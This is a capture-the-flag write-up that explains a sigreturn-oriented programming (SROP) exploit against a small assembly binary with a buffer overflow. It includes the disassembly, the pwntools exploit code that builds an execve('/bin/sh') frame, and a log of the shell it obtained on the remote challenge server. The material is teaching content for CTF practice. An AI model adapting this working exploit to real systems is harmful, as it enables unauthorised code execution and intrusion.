## ROPuzzle V0 - SROP
This challenge was very similar to [a CTF challenge I created back in 2019](https://lo0l.com/2020/01/01/srop.html). It's a small binary written in assembly, with ASLR and NX enabled.
The program reads an input from stdin, which leads to a bufferoverflow after 8 bytes. Pretty quickly I realized the similarity to my challenge and adjusted my SROP exploit to work for this challenge. The key difference in this challenge is that we already have the string `/bin/sh` available in the binary at a fixed address. This makes exploitation a lot easier.
If you don't know what SROP is, I suggest reading my post linked above or checking out the [whitepaper](https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf) for a deeper understanding.
Alright.. let's get into it!
### Disassembly
```Disassembly of section .text:
0000000000401000 <_start>:  401000:       55                      push   rbp  401001:       48 89 e5                mov    rbp,rsp  401004:       e8 05 00 00 00          call   40100e <get_input>  401009:       e8 20 00 00 00          call   40102e <exit>
000000000040100e <get_input>:  40100e:       55                      push   rbp  40100f:       48 89 e5                mov    rbp,rsp  401012:       b8 00 00 00 00          mov    eax,0x0  401017:       bf 00 00 00 00          mov    edi,0x0  40101c:       48 89 e6                mov    rsi,rsp  40101f:       ba 00 10 00 00          mov    edx,0x1000  401024:       e8 02 00 00 00          call   40102b <syscall_me>  401029:       c9                      leave  40102a:       c3                      ret
000000000040102b <syscall_me>:  40102b:       0f 05                   syscall  40102d:       c3                      ret
000000000040102e <exit>:  40102e:       b8 3c 00 00 00          mov    eax,0x3c  401033:       bf 00 00 00 00          mov    edi,0x0  401038:       0f 05                   syscall  40103a:       e8 ef ff ff ff          call   40102e <exit>
000000000040103f <gadget>:  40103f:       58                      pop    rax  401040:       c3                      ret
Disassembly of section .data:
0000000000402000 <msg>:  402000:       2f                      (bad)  402001:       62                      (bad)  402002:       69                      .byte 0x69  402003:       6e                      outs   dx,BYTE PTR ds:[rsi]  402004:       2f                      (bad)  402005:       73 68                   jae    40206f <_end+0x67>```
### Trigger sigreturn syscall
Since we don't have any gadgets available that will trigger a sigreturn (syscall 15), we have to think of a different way. We already have an easy `syscall;ret` gadget, so we just need to manipulate the RAX register and set it to 15 (0xf).
Here is another difference to my challenge, this was one has a `pop rax` gadget available while my challenge didn't and you needed a different method to set RAX.
So we simply pop the value 15 into RAX, then return to the syscall gadget. This will trigger the sigreturn, which will restore the program state from a sigreturn frame on the stack.
At this point the payload would look like this:
```pysyscall_ret = 0x40102bpop_rax = 0x40103f
payload = b'A'*8payload += p64(pop_rax)payload += p64(15) # 15 for sigretpayload += p64(syscall_ret)```
### Building the frame
The sigreturn allows us to control every register, including RIP. This means we can completely redirect the control flow and basically execute anything we want. We want to set up the registers in a way that we execute `execve("/bin/sh",0,0)`.
The string `"/bin/sh"` can already be found in the binary and will be at a fixed location.
```r┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]└─$ strings -t x main | grep /bin/sh   2000 /bin/sh```
It can be found at an offset of 0x2000. Now we need to find out what the base addres will be of the program.
```r┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]└─$ readelf -l main
Elf file type is EXEC (Executable file)Entry point 0x401000There are 3 program headers, starting at offset 64
Program Headers:  Type           Offset             VirtAddr           PhysAddr                 FileSiz            MemSiz              Flags  Align  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000                 0x00000000000000e8 0x00000000000000e8  R      0x1000  LOAD           0x0000000000001000 0x0000000000401000 0x0000000000401000                 0x0000000000000041 0x0000000000000041  R E    0x1000  LOAD           0x0000000000002000 0x0000000000402000 0x0000000000402000                 0x0000000000000007 0x0000000000000007  RW     0x1000
 Section to Segment mapping:  Segment Sections...   00   01     .text   02     .data```
We can see that the VirtAddr of the program will start at 0x400000, which means `"/bin/sh"` will be at 0x402000. It makes sense because it's also referred to as the .data section and the string is the only data used in the program.
Another easy way to find the address is with gdb-peda:
```shellgdb-peda$ start[...]Temporary breakpoint 1, 0x0000000000401004 in _start ()gdb-peda$ find /bin/shSearching for '/bin/sh' in: None rangesFound 1 results, display max 1 items:main : 0x402000 --> 0x68732f6e69622f ('/bin/sh')gdb-peda$```
Now we know the address of `"/bin/sh"` and we can set up the registers to perform the execve() syscall.
All x64 syscalls and their respective arguments can be found [here](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/).
With the help of pwntools we can easily build the frame like this:
```pyframe = SigreturnFrame()frame.rax = 0x3b # sys_execve()frame.rdi = 0x402000 # const char *filenameframe.rsi = 0 # const char *const argv[]frame.rdx = 0 # const char *const envp[]frame.rsp = 0x402000 # a valid writable addressframe.rip = syscall_ret # syscall;ret```
### Final Exploit
Find my final exploit below:
```pyfrom pwn import *
p = remote('193.57.159.27',23866)#p = process('./main')context.clear(arch='amd64')
syscall_ret = 0x40102bpop_rax = 0x40103f
payload = b'A'*8payload += p64(pop_rax)payload += p64(15) # 15 for sigretpayload += p64(syscall_ret)
frame = SigreturnFrame()frame.rax = 0x3b # sys_execve()frame.rdi = 0x402000 # const char *filenameframe.rsi = 0 # const char *const argv[]frame.rdx = 0 # const char *const envp[]frame.rsp = 0x402000 # a valid writable addressframe.rip = syscall_ret # syscall;ret
payload += bytes(frame)
p.send(payload)
p.interactive()
"""┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]└─$ python3 exploit.py[+] Opening connection to 193.57.159.27 on port 23866: Done[*] Switching to interactive mode$ ls -latotal 16drwxr-xr-x. 1 root root   22 Oct  9 00:03 .drwxr-xr-x. 1 root root   17 Oct  8 23:36 ..-rwxr--r--. 1 root root   20 Oct  9 00:02 flag.txt-rwxr-xr-x. 1 root root 8960 Oct  9 00:02 run$ cat flag.txtDO{h0Rr4Y_F0r_SR0P!}$$ iduid=101(ractf) gid=65534(nogroup) groups=65534(nogroup)$ exit"""```